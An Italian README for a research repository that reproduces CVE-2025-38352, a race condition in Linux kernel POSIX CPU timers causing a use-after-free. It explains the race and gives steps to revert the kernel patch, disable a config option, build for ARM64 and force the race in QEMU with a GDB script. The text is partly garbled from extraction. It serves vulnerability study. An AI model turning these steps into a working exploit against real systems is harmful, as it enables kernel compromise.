
PoC e script GDB che assistono nell'attivazione di CVE-2025-38352
Un Proof-of-Concept (PoC) riproducibile e uno script di orchestrazione GDB automatizzato per CVE-2025-38352, una race condition Time-of-Check to Time-of-Use (TOCTOU) nel sottosistema POSIX CPU timer del kernel Linux (kernel/time/posix-cpu-timers.c) che porta a una Use-After-Free (UAF).
Disclaimer: Questo progetto è destinato esclusivamente a scopi educativi, difensivi e di ricerca sulla sicurezza. Tutti i test e la riproduzione sono stati condotti in una macchina virtuale ARM64 QEMU isolata.
Il processo A crea il processo figlio B.
Il processo B crea un CPU timer e inizia a terminare, entrando nello stato zombie. Proprio mentre B sta terminando, arriva un interrupt del timer sul suo core CPU. Il kernel entra nel contesto di interrupt per elaborare il timer, ma rilascia temporaneamente il suo lock (unlock_task_sighand) per evitare deadlock.
Esattamente nello stesso momento su un altro core, il processo A raccoglie (reap) il processo B in uscita, ripulendo il suo signal handler (sighand = NULL) e rimuovendo il suo PID dalla hash table.
Un altro thread in B chiama la cancellazione del timer (posix_cpu_timer_del). Tenta di cercare il task tramite il suo PID e controllare il suo signal handler, ma li trova già ripuliti / NULL. Interpretando erroneamente che il task sia completamente morto e che nessun timer possa essere in esecuzione, assume che sia sicuro e libera il timer dalla memoria.
Nel frattempo, l'handler dell'interrupt del timer sul primo core riprende per far scattare il timer scaduto. Poiché il timer è appena stato liberato nello Step 4, accedervi provoca una Use-After-Free e manda in crash il kernel.
poc_gdb_script.py)Poiché lo stub GDB di QEMU non supporta set non-stop on (fermare una vCPU ferma tutte le vCPU), la sincronizzazione multi-thread standard non può essere ottenuta tramite semplici breakpoint.
Questo repository risolve il problema tramite il Patching delle Istruzioni in Memoria:
Stage 1 (Barriera CPU):
exit_notify (CPU 2)kernel_wait4 (CPU 0)__arm64_sys_timer_delete (CPU 1)handle_posix_cpu_timers (CPU 2)$pc con l'opcode ARM64 di self-branch 0x14000000 (b . ciclo infinito) e riprende l'esecuzione.Stage 2 (Orchestrazione Sequenziale):
set scheduler-locking on) e avanza ogni vCPU in sequenza:
handle_posix_cpu_timers oltre unlock_task_sighand().Scarica o clona l'albero dei sorgenti dell'Android Common Kernel al commit 1bf1aa362e6b9573a310fcd14f35bc875b42ba83:
# Option A: Download tarball directly
curl -LO https://android.googlesource.com/kernel/common/+archive/1bf1aa362e6b9573a310fcd14f35bc875b42ba83.tar.gz
mkdir -p kernel-cve && tar -xzf 1bf1aa362e6b9573a310fcd14f35bc875b42ba83.tar.gz -C kernel-cve
cd kernel-cve
# Option B: Clone repository
git clone https://android.googlesource.com/kernel/common
cd common
git checkout 1bf1aa362e6b9573a310fcd14f35bc875b42ba83
run_posix_cpu_timers()Apri kernel/time/posix-cpu-timers.c, individua la funzione run_posix_cpu_timers() (intorno alle righe 1435–1448) e commenta le righe della patch:
void run_posix_cpu_timers(void)
{
struct task_struct *tsk = current;
lockdep_assert_irqs_disabled();
/*
* Ensure that release_task(tsk) can't happen while
* handle_posix_cpu_timers() is running. Otherwise, a concurrent
* posix_cpu_timer_del() may fail to lock_task_sighand(tsk) and
* miss timer->it.cpu.firing != 0.
*/
// if (tsk->exit_state)
// return;
CONFIG_POSIX_CPU_TIMERS_TASK_WORKNota: Quando
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, i CPU timer vengono eseguiti dal contestotask_workinvece che dall'IRQ del timer, aggirando questa race condition. Pertanto, deve essere disabilitato per riprodurre la vulnerabilità.
Poiché CONFIG_POSIX_CPU_TIMERS_TASK_WORK non ha una stringa di prompt nel Kconfig upstream, il suo valore predefinito è y e non può essere modificato direttamente in menuconfig. Puoi esporlo come segue:
kernel/time/Kconfig (intorno alla riga 56), aggiungi una stringa di prompt e cambia il default:
config POSIX_CPU_TIMERS_TASK_WORK
bool "POSIX CPU timers task work"
default n
ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- make defconfig
scripts/config --disable POSIX_CPU_TIMERS_TASK_WORK
ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- make olddefconfig
.config:
grep POSIX_CPU_TIMERS_TASK_WORK .config
# Expected output: # CONFIG_POSIX_CPU_TIMERS_TASK_WORK is not set
Compila l'immagine del kernel ARM64:
time ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- make -j$(nproc) Image
Cross-compila poc.c:
aarch64-linux-gnu-gcc -ggdb3 ./poc.c -o poc
Avvia la tua macchina virtuale QEMU con 4 vCPU (-smp 4) e abilita lo stub GDB (flag -s, porta 1234):
qemu-system-aarch64 \
-M virt \
-cpu cortex-a57 \
-smp 4 \
-m 2G \
-kernel arch/arm64/boot/Image \
-append "console=ttyAMA0 root=/dev/vda oops=panic panic_on_warn=1" \
... \
-s
Dal terminale host, collega GDB a QEMU e carica lo script di orchestrazione:
gdb-multiarch vmlinux
pwndbg> target remote :1234
pwndbg> source poc_gdb_script.py
pwndbg> continue
All'interno della shell guest di QEMU, esegui il binario compilato:
./poc
[!TIP] Timing e risoluzione dei problemi:
Se il timer scatta prematuramente prima che il thread target abbia raggiunto lo stato zombie, GDB registrerà:[!] ERROR: handle_posix_cpu_timers fired before exit_state == EXIT_ZOMBIE
- Opzione 1: Esegui semplicemente di nuovo
./poce ricarica lo script GDB alcune volte.- Opzione 2: Aumenta
TIMER_FIRE_MSinpoc.c(ad esempio, da#define TIMER_FIRE_MS 10a20), ricompilapoc.ced esegui di nuovo. Questo concede al thread tempo extra per raggiungereexit_notify()e passare aEXIT_ZOMBIEprima che il timer scada.
https://github.com/user-attachments/assets/11481b5c-25f8-46c3-be3a-7b79a06a4948
kernel_wait4tsk->sighand = NULLtimer_delete per chiamare release_posix_timer() (liberando sigq).